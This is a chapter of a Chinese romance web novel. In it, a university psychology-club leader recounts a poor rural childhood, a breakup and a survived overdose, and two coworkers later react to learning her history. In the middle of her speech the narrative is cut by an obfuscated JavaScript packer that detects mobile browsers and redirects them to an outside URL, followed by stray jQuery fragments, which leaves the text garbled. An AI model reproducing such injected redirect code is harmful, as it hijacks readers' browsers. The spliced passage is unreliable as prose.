21. 第二十一章

作品:《用上司挡了前任以后

    “...是是啊。”苏平呈至今都对那个场景记忆犹新。


    *


    林奈奈穿着连衣裙坐在高脚凳上,坐在人群的中心,裙摆没过她的脚踝,在空中随着她的动作摇摆。


    她拿着话筒呼呼两声试音:“大家好,我叫林奈奈,是深城大学建筑设计专业一名大三在读的学生,也是这届心理协会的会长,很高兴见到大家来参加我们的心理分享活动。大家看我...”


    她的表情有些娇憨得瑟:“是不是觉得很漂亮?”


    团团围住她的学弟学妹们交头接耳,捂嘴笑,也有羞红了脸的男生低声附和:“是。”


    林奈奈转过另一边,问:“是不是觉得有点不要脸?”


    被问的同学点点头,又嬉闹着向后缩。


    “是啊,这就是漂亮的副作用,漂亮到都不要脸了。”


    哄堂大笑,沉闷的氛围一下子活跃起来。


    林奈奈也笑:“大家都是刚刚见面,彼此不熟悉。我暖暖场。其实我也是搞笑女来着。”


    大家又笑。


    林奈奈接着说:“我们心协办这个分享活动的本意,就是想让大家把自己的经历说出来,建立链接,相互鼓励相互慰藉。”


    “那我呢,就先给大家打个样。”


    她的语速变慢了,神情慢慢变得平静:“我出生在湘市大山的村庄里,五岁的时候父亲就去世了,七岁时母亲改嫁。我的母亲是当地服装厂里的女工,一个月能拿到三千左右的工资。在我们那,这可是高薪,只有技术手艺很高的人才能拿到这么高的工资。


    妈妈改嫁后,会从她的工资里拿出八百块钱补贴给我跟奶奶。我就靠这八百块钱,从小学读到了初中毕业,妈妈便不再支持我读书了。


    她是靠手艺安身立命的,所以也想我去深城打工,早点学会一门能傍身的本领。


    原本我同意了。


    可那年运气好,中考的时候,我考了湘市的第一名,被省高录取。


    我的班主任莫老师四处奔走周旋,帮我找到资助人,愿意出高中三年的生活费和学费。


    我离开大山后,奶奶就被二叔一家接走,去了县里养老。


    那时我才知道,爸爸去世后,二叔一家是愿意赡养奶奶的,可奶奶怕我寄人篱下,才选择了留在大山里。


    就这样,我一个山旮旯里的穷姑娘,被四位女性长辈合力推到了外面的世界,广阔的天地。


    你们以为我会从此走上开挂的人生,对不对?成绩一直名列前茅,考上了自己理想中的大学?”


    林奈奈摇摇头,苦笑道:“我崩溃了。


    我的自我跟外面的世界碰撞的时候,碎了一地。


    我变得敏感,自卑,被当时的同学和室友孤立。当然,现在回想起来,或许她们不坏,只是当时的我太过紧绷,把所有扔向我的东西都砸了回去。


    就在这个时候,我遇到了我的初恋。”


    活动室里突然响起一阵喝彩的声音,大家叽叽喳喳低声议论。


    林奈奈笑:“我就知道你们爱听这个。我的初恋是个富二代,长得还很帅。”


    “切~”同学们又笑着喝倒彩。


    “好了,不开玩笑了,”林奈奈轻咳了一声,继续自己的表达,“他是我灰暗人生里的一束光,我欣赏他,喜欢他,崇拜他。可当他得知,我空有一副皮囊,不过是个空心花瓶时,他对我们的关系感到厌倦了,交往两个月后,我们分手。


    而我,想过结束自己的生.命。”


    ......活动室里突然噤若寒蝉。


    林奈奈的笑容也变得苦涩,吸了一口气,强撑着自己讲下去:“是不是有点撒狗血?八点档?我的脑门上现在是不是写着顶级恋爱脑?”


    同学们蹙眉,没想到话题变得如此沉重。


    林奈奈耸耸肩:“万幸,我被人救了。你们还记得为我出了三年学费的那个资助人吗?就是她。


    三年里我们从没直接联系过,钱也都是通过莫老师转给我的。可毕业那一年,她第一次给我打电话,就在我刚刚吞服完大量安眠药之后......”


    林奈奈的声音开始哽咽,鼻翼轻微煽动了两下,突然放下话筒忍泪,眼圈泛红。


    离她最近的那个学妹起身给她递了张纸巾。


    她才抬起头,嘴角勉强挤出一个弧度:“谢谢~抱...抱歉,我每次讲到这一段都会浑身颤栗,命运这个东西真的是.......唉......”


    她叹气,两行泪簌簌流下来。


    不知是谁带头鼓掌,围坐的一圈同学就都开始鼓掌。


    林奈奈也得到力量继续:“她说,她为我能顺利毕业感到高兴。聊着聊着,她说起自己的事情,她说她结婚了,门当户对,志趣相投,说好一生一世在一起。


    可刚度完蜜月,资助人姐姐发现自己怀孕了。


    我静静的听着,我想我的资助人只是想找个人说说话,找个从没进入过她的生命,只能旁观的人听她说说话。


    她跟她的男友大吵了一架,她想留下这个孩子。而她的男友坚持丁克,于是新婚刚刚三个月,他们就离婚了。


    我问她打算怎么办?


    资助人姐姐笑着说她不知道。


    她问我能不能给她一些建议?


    她问我,会不会责怪我的母亲把我带到这个世界上?因为这世上,痛苦远比快乐要多。”


    林奈奈的呼吸变得急促:“我想了想,突然涕泗横流,因为那一刻我才意识到,我很感谢我的母亲把我带到这个世界上。


    生命的美好其实就是存在。我存在,一切才会发生。我不存在,一切也不存在。痛苦不存在,快乐也不存在。


    我感谢奶奶陪我走过一段贫困却无忧的童年,感谢莫老师为了我升学的事,四处奔波打报告,感谢资助人姐姐愿意慷慨解囊助我读完高中。


    她们赐予我的人生厚度,远不是一个男人可以比的。


    我在电话里哭得上气不接下气。


    资助人姐姐吓了一跳,问我怎么了?我说没事,很谢谢她今晚打这通电话给我。


    我在昏迷之前,拨通了120急救电话。


    医生护士把我拉去洗胃,说再晚半个小时后果不堪设想。”


    活动室里一片寂静,静到能听见彼此的心跳。


    林奈奈却松了口气,这已经是她第三次在众人面前讲诉这段过去了,于她而言,每讲一次,压在自己心头的重量就减轻一分。


    她又


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202835|197265||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    重拾笑容:“是不是很狗血?”


    “至今想起来我还是一身冷汗,万一那晚医院的急救中心很忙,万一救护车在开的路上堵车了,万一救我的那个大夫没有值班......”


    “我的资助人姐姐至今都不知道她那晚的电话救下了一条人命。


    人与人之间的链接真的非常神奇,有时候薄弱,冷漠,有时候又温暖,有韧劲。


    从医院回来后,我又重新开始生活,我去看望了奶奶,妈妈,她们都有了各自的归宿。


    我也成了那座大山里第一个考上大学的女生。我努力打工攒钱,做心理咨询,上了大学后加入心协,积极参加各种心理活动。


    我靠自己走了出来——


    大家也一定可以。”


    她刚说完,活动室里掌声雷动。


    *


    “真的太帅了,敢在那么多人面前,举重若轻的揭开伤口。”苏平呈摊开手,激动道,“我至今都做不到。万一被有心人听到,背后议论我......”


    对面的从峪忽然站起来,转身一把拽开房门,径直走出去,狠狠一甩将门摔上,连墙壁也传来闷响。


    蒋清风沉着脸,他跟林奈奈的关系一直也没亲密到可以分享往事,所以这也是他第一次听到她的过去,没想到是以这种方式。


    “他...怎么了?”苏平呈并不知道刚刚摔门而去的是【谁】。


    可蒋清风已经拼凑出了林奈奈和从峪的关系全貌。


    “无颜以对吧。”蒋清风的胸腔深深起伏了一下,他收拾好自己的情绪,从包里掏出一张黑色的银行卡递给苏平呈,“麻烦你去前台买单。”


    “啊,我们什么也没点啊?”


    “预约的时候点了,等做好打包吧,带回公司大家一起吃。”


    “要走公司报销流程吗?”苏平呈刚来,还不太懂MKD的规矩。


    蒋清风摇摇头:“不用,这顿是我私人请的。”


    “好咧。”男生拿着卡快步走出【星宿海】。


    蒋清风思量再三,还是给林奈奈打了通语音电话。


    响了二十几秒那边才接起,背景音嘈杂,高亢的人声还伴随着尖锐的电钻声,一听就还在装修工地上。


    林奈奈扯着嗓子:“怎么了老大?我这边有点吵。”


    即便他曾放弃你,你依旧觉得他于你有非凡的意义吗?


    即便你曾为他看轻生命,现在依旧愿意跟他和好吗?


    即便这样,你也依然选择从峪吗?


    “喂?老大,你听得见吗?喂?”


    蒋清风还是理智,汹涌的情绪过滤到他面前,只剩下亲耳听到的事实,他问不出口。


    他摇摇头,轻声道:“你那边什么时候结束?”


    女人低头看了眼手表:“再一个小时吧。”


    “那我在公司等你。”男人的声音温柔,潺潺流进听筒,“一起吃午饭,庆祝冯毅升迁,庆祝新同事加入。”


    “好!”她这声,像是少先队员敬礼喊到。


    蒋清风光是站在林奈奈身边,都能听到拔节生长的声音。


    他没法无视自己的心跳。


    他原都做好后撤一步的准备了,可现在...他觉得从峪不配。